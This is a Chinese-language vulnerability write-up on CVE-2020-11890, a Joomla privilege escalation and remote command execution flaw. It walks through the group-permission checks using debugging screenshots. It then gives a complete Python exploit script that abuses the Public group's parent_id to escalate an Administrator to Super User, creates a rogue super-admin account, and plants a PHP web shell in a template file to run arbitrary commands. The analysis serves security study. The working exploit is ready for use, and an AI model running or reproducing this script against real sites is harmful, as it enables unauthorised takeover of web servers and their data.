menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 072-Joomla chevron_right 009-CVE-2020-11890 Joomla 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    009-CVE-2020-11890 Joomla 远程命令执行漏洞.md
    13.24 KB / 2021-07-17 00:01:28
        # CVE-2020-11890 Joomla 远程命令执行漏洞
    
    ### 一、漏洞简介
    
    * 受影响的版本:3.9.17之前的Joomla核心
    * 用户要求:管理员帐户(非超级管理员)
    * 获得访问权限:创建一个新的超级管理员,然后触发RCE。
    
    ### 二、漏洞影响
    
    Joomla < 3.9.17
    
    ### 三、复现过程
    
    **漏洞分析**
    
    本次漏洞可以将joomla系统中的Administrator用户提权为Super Users。在分析漏洞前,我们来看一下Super Users与Administrator有什么区别:
    
    超级管理员 (Super Users):拥有Joomla的所有权限。并且超级管理员只能由另一个超级管理员来创建。
    
    高级管理员(Administrator):Administrator没有权限将一个用户升级成超级用户或者编辑一个超级用户、不可以修改Joomla的全局设置,没有权限来改变和安装模板和Joomla的语言文件。
    
    作为测试,我们新建三个账号,分别为administrator(administrator用户组)、Super User(Super User用户组)、test(administrator用户组)
    
    ![](images/15891010926415.png)
    
    
    使用Administrator账号登陆,访问Joomla全局设置链接
    
    /administrator/index.php?option=com_config
    
    ![](images/15891010986742.png)
    
    
    可见Administrator用户组权限不可以访问该功能页面。
    
    使用Administration账号编辑test账号的用户组
    
    ![](images/15891011043819.png)
    
    
    Administrator用户组权限不可以为其他的用户添加super user权限
    
    使用Superuser账号登陆,访问Joomla全局设置链接
    
    ![](images/15891011175993.png)
    
    
    Superuser权限可以访问Joomla全局设置页面
    
    使用Superuser账号编辑test账号的用户组
    
    ![](images/15891011343379.png)
    
    
    可以为test账号添加super user权限
    
    **关于漏洞的初步猜测**
    
    在刚看到漏洞简介时,我猜测会不会是joomla只在前端做了校验,使用Administration账号编辑test账号的用户组时,在前端把super user这个选项卡隐藏起来了,后端并未校验权限,使得漏洞产生。
    
    为了验证我的猜想,我在修改test用户组时抓包并修改其中的jform[groups]值
    
    ![](images/15891011443343.png)
    
    
    每一个用户组都有一个id值,这个可以通过数据库中查看得来
    
    ![](images/15891011568674.png)
    
    
    因为我需要将test账号改为super users用户组权限,因此需改数据包中jform[groups]值为8
    
    经过测试发现,这是行不通的
    
    ![](images/15891011640188.png)
    
    
    在猜想失败之后,只好动态调试一下源代码,看一下joomla是如何进行权限校验的
    
    **动态调试**
    
    既然在上文猜想中,我们强行改包时抛出了个Save failed with the following error: User not Super
    Administrator错误,那么直接在源代码中找到抛出错误的位置libraries\src\User\User.php
    
    ![](images/15891011731831.png)
    
    
    可见上图中,只要checkGroup方法为真,则进入if分支抛出Save failed with the following error: User not Super Administrator错误
    
    ![](images/15891011798019.png)
    
    
    首先来看下getGroupPath
    
    ![](images/15891011959332.png)
    
    
    getGroupPath的作用是通过传入的groupid参数,获取要查询的用户组分支中叶子节点所属用户组,并返回到树的根节点。简而言之,就是获取用户组列表——groups列表中对应用户组的path属性值
    
    用户组列表(groups)
    
    我们来看下groups列表是什么,是怎么生成的
    
    用户组列表(groups)中记录了所有用户组的属性值,包括名称、id、双亲节点信息、该节点的祖先数组
    
    接下来分析下groups列表是怎么生成的
    
    首先,程序从数据库usergroups表中读取每一个用户组的属性值
    
    数据库中数据如下
    
    ![](images/15891012430184.png)
    
    
    程序读取后赋值到groups数组中
    
    ![](images/15891012490457.png)
    
    
    接着调用populateGroupData方法对groups数组中每个用户组数据进行补充
    
    ![](images/15891012552959.png)
    
    
    在这一环节,程序将为每一个用户组提供path与level属性值
    
    其中path属性就是树形结构中以该用户组节点的祖先(Ancestor)数组、level即为该结点的层次(Level of Node)
    
    回顾一下数据库中每个用户组的属性值,这里注意parent_id值
    
    ![](images/15891012674592.png)
    
    
    除了Public父节点为0之外,其他的用户组在表中都存在对应的双亲节点。可见Public用户组为树形结构中的根节点,层次为1。
    
    ![](images/15891012743414.png)
    
    
    Registered、Manager、Super Users、Guest的双亲节点id皆为1,即Public节点 。层次为2
    
    剩余的用户组节点分别以Registered、Manager、Super Users、Guest四个节点作为双亲节点。
    
    用户节点的树形图如下
    
    ![](images/15891012847808.png)
    
    
    动态调试结果如下
    
    ![](images/15891012921066.png)
    
    
    从上图可见,这里以Public用户组节点举例:Public作为根节点,其path以及level生成时比较特殊,进入parentid为0的if分支,最终祖先数组path为`array(0 => '1')`, level为0
    
    再以Registered、Manager、Super Users、Guest这四个层次为2的用户组节点中的Guest节点为例
    
    ![](images/15891012992737.png)
    
    
    Guest节点的path为`array (0 => '1',1 =>'9',),`level为1。Path是由Guest节点所有祖先组成的集合,level值为该节点层数减一
    
    最后看一下其他层次大于2的节点,以Administrator用户组节点举例
    
    ![](images/15891013183447.png)
    
    
    从数据库中可见,Administrator用户组双亲节点id为6,对应 Manager节点,Manager用户组节点的双亲节点id为1,对应Public用户组节点。其层次为3
    
    ![](images/15891013251921.png)
    
    
    通过调试也可看出,Administrator用户组节点的祖先数组path为array (0 => '1', 1 =>'6', 2 => '7',),level为2
    
    在弄明白groups列表之后,看一下程序是如何判断当前用户的权限判断的
    
    回到checkGroup方法中
    
    ![](images/15891013329260.png)
    
    
    上文以及指导getGroupPath方法的作用了,由于我们请求构造中的$groupid为8,即想把test账号添加到id为8对应的super users组。getGroupPath接收传入的$groupid,返回super user节点的祖先数组array (0=> '1', 1 => '8',)
    
    ![](images/15891013392262.png)
    
    
    接着,在libraries\src\Access\Rule.php的allow方法中,程序遍历superuser的祖先数组array
    
    (0 => '1', 1 => '8',)
    
    ![](images/15891013479848.png)
    
    
    程序判断superuser的祖先节点是否有在`$this->data`中出现,`$this->data`值如下
    
    ![](images/15891013613065.png)
    
    
    `$this->data`数组代表目前用户不可以访问的节点id。由于我们使用的是administrator用户组的账号,不可以操作的用户组节点id为8,即super user,因此`$this->data`数组值为array (8 => 1,)
    
    superuser的祖先数组中的叶子节点值为8,正好在目前用户不可以访问的`$this->data`数组中
    
    ![](images/15891013864366.png)
    
    
    因此该用户权限无法进行操作,程序抛出当前用户不是超级管理员的错误
    
    ![](images/15891013929412.png)
    
    
    漏洞复现
    
    ![](images/15891013980590.png)
    
    
    
    ```python
    #!/usr/bin/python
    import sys
    import requests
    import re
    import argparse
    
    
    def extract_token(resp):
        match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
        if match is None:
            print("[-] Cannot find CSRF token!\n")
            return None
        return match.group(1)
    
    
    def try_admin_login(sess, url, uname, upass):
        admin_url = url + '/administrator/index.php'
        print('[+] Getting token for admin login')
        resp = sess.get(admin_url, verify=True)
        token = extract_token(resp)
        if not token:
            return False
        print('[+] Logging in to admin')
        data = {
            'username': uname,
            'passwd': upass,
            'task': 'login',
            token: '1'
        }
        resp = sess.post(admin_url, data=data, verify=True)
        if 'task=profile.edit' not in resp.text:
            print('[!] Admin Login Failure!')
            return None
        print('[+] Admin Login Successfully!')
        return True
    
    
    def checkAdmin(url, sess):
        print("[+] Checking admin")
        url_check = url + '/administrator/index.php?option=com_users&view=users'
        resp = sess.get(url_check, verify=True)
        token = extract_token(resp)
        if not token:
            print "[-] You are not administrator!"
            sys.exit()
        return token
    
    
    def checkSuperAdmin(url, sess):
        print("[+] Checking Superadmin")
        url_check = url + '/administrator/index.php?option=com_config'
        resp = sess.get(url_check, verify=True)
        token = extract_token(resp)
        if not token:
            print "[-] You are not Super-Users!"
            sys.exit()
        return token
    
    
    def changeGroup(url, sess, token):
        print("[+] Changing group")
        newdata = {
            'jform[title]': 'Public',
            'jform[parent_id]': 100,
            'task': 'group.apply',
            token: 1
        }
        newdata['task'] = 'group.apply'
        resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata,
                         verify=True)
        if 'jform[parent_id]' not in resp.text:
            print('[!] Maybe failed to change group...')
            return False
        else:
            print "[+] Done!"
        return True
    
    
    def create_user(url, sess, username, password, email, token):
        newdata = {
            # Form data
            'jform[name]': username,
            'jform[username]': username,
            'jform[password]': password,
            'jform[password2]': password,
            'jform[email]': email,
            'jform[resetCount]': 0,
            'jform[sendEmail]': 0,
            'jform[block]': 0,
            'jform[requireReset]': 0,
            'jform[id]': 0,
            'jform[groups][]': 8,
            token: 1,
        }
        newdata['task'] = 'user.apply'
        url_post = url + "/administrator/index.php?option=com_users&layout=edit&id=0"
        sess.post(url_post, data=newdata, verify=True)
        sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
        sess = requests.Session()
        if try_admin_login(sess, url, username, password):
            print "[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password + "\n[+] Done!"
        else:
            print "[-] Sorry,exploit fail!"
        return sess
    
    
    def changeGroupDefault(url, sess, token):
        print("[+] Changing group")
        newdata = {
            'jform[title]': 'Public',
            'jform[parent_id]': 0,
            'task': 'group.apply',
            token: 1
        }
        newdata['task'] = 'group.apply'
        resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata,
                         verify=True)
        if 'jform[parent_id]' not in resp.text:
            print('[!] Maybe failed to change group...')
            return False
        else:
            print "[+] Done!"
        return True
    
    
    def rce(sess, url, cmd, token):
        filename = 'error.php'
        shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
        shdata_up = {
            'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
            'task': 'template.apply',
            token: '1',
            'jform[extension_id]': '506',
            'jform[filename]': '/' + filename
        }
        sess.post(shlink, data=shdata_up)
        path2shell = '/templates/protostar/error.php?cmd=' + cmd
        # print '[+] Shell is ready to use: ' + str(path2shell)
        print '[+] Checking:'
        shreq = sess.get(url + path2shell)
        shresp = shreq.text
        print shresp + '[+] Shell link: \n' + (url + path2shell)
        print '[+] Module finished.'
    
    
    def main():
        # Construct the argument parser
        ap = argparse.ArgumentParser()
        # Add the arguments to the parser
        ap.add_argument("-url", "--url", required=True,
                        help=" URL for your Joomla target")
        ap.add_argument("-u", "--username", required=True,
                        help="username")
        ap.add_argument("-p", "--password", required=True,
                        help="password")
        ap.add_argument("-usuper", "--usernamesuper", default="hk",
                        help="Super's username")
        ap.add_argument("-psuper", "--passwordsuper", default="12345678",
                        help="Super's password")
        ap.add_argument("-esuper", "--emailsuper", default="[email protected]",
                        help="Super's Email")
        ap.add_argument("-cmd", "--command", default="whoami",
                        help="command")
        args = vars(ap.parse_args())
        # target
        url = format(str(args['url']))
        print '[+] Your target: ' + url
        # username
        uname = format(str(args['username']))
        # password
        upass = format(str(args['password']))
        # command
        command = format(str(args['command']))
        # username of superadmin
        usuper = format(str(args['usernamesuper']))
        # password of superadmin
        psuper = format(str(args['passwordsuper']))
        # email of superadmin
        esuper = format(str(args['emailsuper']))
        # session
        sess = requests.Session()
        if not try_admin_login(sess, url, uname, upass): sys.exit()
        token = checkAdmin(url, sess)
        if not changeGroup(url, sess, token):
            print "[-] Sorry,exploit fail!"
            sys.exit()
        sess = create_user(url, sess, usuper, psuper, esuper, token)
        token = checkSuperAdmin(url, sess)
        # Now you are Super-admin
        if token:
            # call RCE
            changeGroupDefault(url, sess, token)  # easy to view :))
            rce(sess, url, command, token)
    
    
    if __name__ == "__main__":
        sys.exit(main())
    ```
    
    
    参考链接
    
    https://xz.aliyun.com/t/7709#toc-1
    https://github.com/HoangKien1020/CVE-2020-11890
    
    links
    file_download